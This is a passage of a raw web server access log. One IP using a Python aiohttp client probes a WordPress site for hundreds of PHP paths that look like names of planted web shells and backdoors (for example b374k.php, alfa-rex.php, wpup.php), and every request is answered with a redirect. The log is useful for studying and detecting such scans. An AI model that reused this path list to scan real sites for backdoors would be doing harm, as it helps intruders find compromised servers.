"Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:07 -0400] "GET /wp-content/uploads/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:11 -0400] "GET /wp-content/upgrades/green HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:14 -0400] "GET /dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:17 -0400] "GET /wp-admin/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:20 -0400] "GET /wp-admin/css/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:24 -0400] "GET /wp-admin/images/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:28 -0400] "GET /wp-admin/includes/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:31 -0400] "GET /wp-admin/maint/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:36 -0400] "GET /wp-admin/network/dys.php/wp-content/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:42 -0400] "GET /wp-content/themes/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:45 -0400] "GET /wp-content/plugins/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:48 -0400] "GET /wp-content/uploads/dys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:53 -0400] "GET /priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:19:56 -0400] "GET /wp-admin/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:00 -0400] "GET /wp-admin/css/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:03 -0400] "GET /wp-admin//wp-admin/includes/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:07 -0400] "GET /wp-admin/maint/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:12 -0400] "GET /wp-admin/network/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:14 -0400] "GET /wp-content/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:17 -0400] "GET /wp-content/themes/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:20 -0400] "GET /wp-content/plugins/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:23 -0400] "GET /wp-content/uploads/priv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:27 -0400] "GET /wp-admin/maint/lol.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:30 -0400] "GET /wp-admin/images/sgd.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:33 -0400] "GET /wp-includes/images/GymFW.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:36 -0400] "GET /images/sfm.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:41 -0400] "GET /images/sendme.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:45 -0400] "GET /wp-admin/includes/senbox.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:50 -0400] "GET /wp-admin/images/rk2.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:53 -0400] "GET /wp-admin/includes/admin-ajax.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:56 -0400] "GET /wp-includes/images/media/VJVrU.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:20:59 -0400] "GET /wp-admin/includes/class-wp-page-oua2mL.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:02 -0400] "GET /wp-admin/includes/class-wp-dxqJeZ.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:06 -0400] "GET /wp-includes/css/alfa-rex.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:09 -0400] "GET /wp-includes/Text/Diff/Engine.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:12 -0400] "GET /images/pushy.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:16 -0400] "GET /wp-includes/spl-autoload-compat-get.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:20 -0400] "GET /wp-admin/js/maila.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:25 -0400] "GET /wp-admin/maint/Mailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:29 -0400] "GET /wp-includes/class-wp-session-href.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:32 -0400] "GET /images/exif.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:35 -0400] "GET /wp-includes/class-json-ajax-session.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:40 -0400] "GET /wp-admin/css/colors/midnight/fxtell.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:44 -0400] "GET /wp-hoard.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:48 -0400] "GET /1index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:52 -0400] "GET /11index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:56 -0400] "GET /2index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:21:59 -0400] "GET /3index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:03 -0400] "GET /files/mailer.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:09 -0400] "GET /wp-includes/media-blogs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:12 -0400] "GET /wp-admin/images/pxLAYINYEp.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:15 -0400] "GET /wp_wrong_datlib.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:20 -0400] "GET /wp-admin/css/widgets.sys.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:23 -0400] "GET /wp-includes/class-wp-theme-json-data-firewall.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:27 -0400] "GET /.well-known/zaza.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:30 -0400] "GET /wp-admin/includes/class-wp-page-FyzwmX.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:34 -0400] "GET /wp-includes/class-detect-spam.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:39 -0400] "GET /wp-includes/images/wlw/xmlwriter_start_comment.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:42 -0400] "GET /wp-includes/Text/Diff/Engine/QYnHsiXv.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:46 -0400] "GET /wp-admin/css/SKsqRrqB.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:49 -0400] "GET /wp-admin/maint/1k9bpu.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:53 -0400] "GET /wp-includes/pomo/user-new.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:22:56 -0400] "GET /wp-admin/images/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:00 -0400] "GET /wp-admin/maint/autoload_classmap.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:04 -0400] "GET /wp-includes/fonts/old.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:07 -0400] "GET /wp-includes/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:10 -0400] "GET /boom.php?x HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:13 -0400] "GET /wp-includes/images/wlwmod_popular.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:19 -0400] "GET /wp-admin/css/colors/blue/wp-login.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:23 -0400] "GET /wp-admin/images/wp-ksv1i.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:26 -0400] "GET /wp-content/plugins/wp-diambar/includes/loadme.php%20 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:30 -0400] "GET /wp-includes/images/cyRpqMl.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:35 -0400] "GET /uploads/slot-gacor-uang-asli.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:40 -0400] "GET /wp-includes/ID3/module.tag.idv1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:43 -0400] "GET /wp-admin/images/preg_class.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:46 -0400] "GET /wp-includes/pomo/yellow.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:50 -0400] "GET /wp-admin/images/uAJpCYJE.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:53 -0400] "GET /wp-includes/images/smilies/YpsKGdP.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:23:57 -0400] "GET /wp-includes/pomo/ftp_nb_fget.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:02 -0400] "GET /wp-includes/images/smilies/indnrYBKz.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:05 -0400] "GET /wp-content/uploads/72.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:08 -0400] "GET /wp-content/uploads/indax.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:11 -0400] "GET /wp-admin/includes/logs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:15 -0400] "GET /wp-admin/images/JJzxa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:20 -0400] "GET /wp-includes/fonts/plugin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:24 -0400] "GET /wp-admin/css/alf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:28 -0400] "GET /img/security.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:32 -0400] "GET /update/wpupex.php/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:37 -0400] "GET /wp-includes/blocks/comment-template/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:42 -0400] "GET /wp-includes/blocks/post-terms/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:49 -0400] "GET /wp-admin/halo.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:53 -0400] "GET /wp-content/cache/breeze-minification/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:24:58 -0400] "GET /wp-content/fonts/caveat-brush/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:02 -0400] "GET /wordpress/first.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:07 -0400] "GET /wp-includes/sodium_compat/lib/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:13 -0400] "GET /geido.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:17 -0400] "GET /wp-includes/blocks/comments-pagination-numbers/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:23 -0400] "GET /pos/wpup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:27 -0400] "GET /wp-admin/css/epoor3.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:32 -0400] "GET /wp-includes/Text/Diff/Engine/pvmo0b.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:36 -0400] "GET /wp-includes/bsmwfr.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:42 -0400] "GET /wp-admin/includes/rjmtb0.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:45 -0400] "GET /wp-includes/s0ypg8.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:48 -0400] "GET /wp-admin/includes/k7ouz1.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:52 -0400] "GET /wp-admin/includes/41ikzh.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:25:57 -0400] "GET /wp-includes/pomo/akcj7v.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:01 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:04 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:08 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-MQCwfb.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:12 -0400] "GET /wp-admin/maint/zmFM.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:15 -0400] "GET /images/add_actualites.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:18 -0400] "GET /wp-includes/langar.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:21 -0400] "GET /wp-includes/IXR/kpl.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:25 -0400] "GET /wp-includes/images/iDUDkN.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:29 -0400] "GET /wp-content/uploads/tgqMfJ.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:33 -0400] "GET /wp-includes/class-wp-customize-widgets-statement.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:38 -0400] "GET /wp-admin/includes/class-wp-pagebuilders-JwBes7.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:43 -0400] "GET /wp-includes/IXR/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:46 -0400] "GET /wp-content/uploads/5b30230032.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:51 -0400] "GET /wp-includes/wp-log1n.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:54 -0400] "GET /wp-includes/js/plupload/user_error.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:26:59 -0400] "GET /wp-includes/alfav4.1-encoded%20-%20.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:02 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:05 -0400] "GET /wp-admin/js/mintjs.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:08 -0400] "GET /wp-content/upgrade/cong.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:11 -0400] "GET /wp-content/uploads/2023/e.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:15 -0400] "GET /wp-content/uploads/2023/alpa.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:19 -0400] "GET /wp-admin/css/colors/xxx.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:23 -0400] "GET /wp-includes/js/b374k.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:27 -0400] "GET /wp-admin/css/colors/k2ll33d.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:30 -0400] "GET /wp-admin/css/colors/k2ll.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:34 -0400] "GET /wp-content/uploads/2023/tembem.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:39 -0400] "GET /wp-includes/js/k2ll.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:43 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:46 -0400] "GET /wp-content/bk/bk/851895/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:50 -0400] "GET /wp-includes/blocks/media-text/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:55 -0400] "GET /.tmb243a4353s/v/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:27:58 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:05 -0400] "GET /.tmb/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:10 -0400] "GET /.well-known/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:15 -0400] "GET /wp-includes/blocks/query-pagination/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:19 -0400] "GET /Demo/gsz/wpup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:22 -0400] "GET /Palazzocapece/cham/wpup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:26 -0400] "GET /wp-includes/l10n/10851/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:30 -0400] "GET /first/admin.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:34 -0400] "GET /uploads/admin2.php%20 HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:38 -0400] "GET /wp-includes/IXR/Ipv6.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:41 -0400] "GET /wp-includes/blocks/paragraph/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:47 -0400] "GET /vendor/nette/utils/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:53 -0400] "GET /.well-known/acme-challenge/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:28:58 -0400] "GET /wp-includes/html-api/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:02 -0400] "GET /bankmann/gf/wpup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:05 -0400] "GET /about/function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:08 -0400] "GET /wp-content/themes/themes/Cyb3r.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:11 -0400] "GET /admin/function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:15 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:18 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:22 -0400] "GET /file/function.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:26 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:29 -0400] "GET /wp-content/plugins/simple/simple.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:31 -0400] "GET /css/index.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:35 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:39 -0400] "GET /wp-content/plugins/?p= HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:41 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:45 -0400] "GET /bless.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:49 -0400] "GET /wp-content/themes/digital-download/new.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:52 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:55 -0400] "GET /luuuf.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:29:58 -0400] "GET /85022df0ed31.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 139.190.141.151 - - [27/Apr/2025:08:30:02 -0400] "GET /.well-known/pki-validation/install.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:04 -0400] "GET /microblog/hyper/uploads/ HTTP/1.1" 301 795 "-" "-" 139.190.141.151 - - [27/Apr/2025:08:30:05 -0400] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Python/3.11 aiohttp/3.8.4" 40.69.221.38 - - [27/Apr/2025:08:30:05 -0400] "GET /content/live/burnwebsandbox/wp-content/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:06 -0400] "GET /wp-content/plugins/matomo/app/ HTTP/1.1" 301 795 "-" "-" 40.69.221.38 - - [27/Apr/2025:08:30:07 -0400] "GET 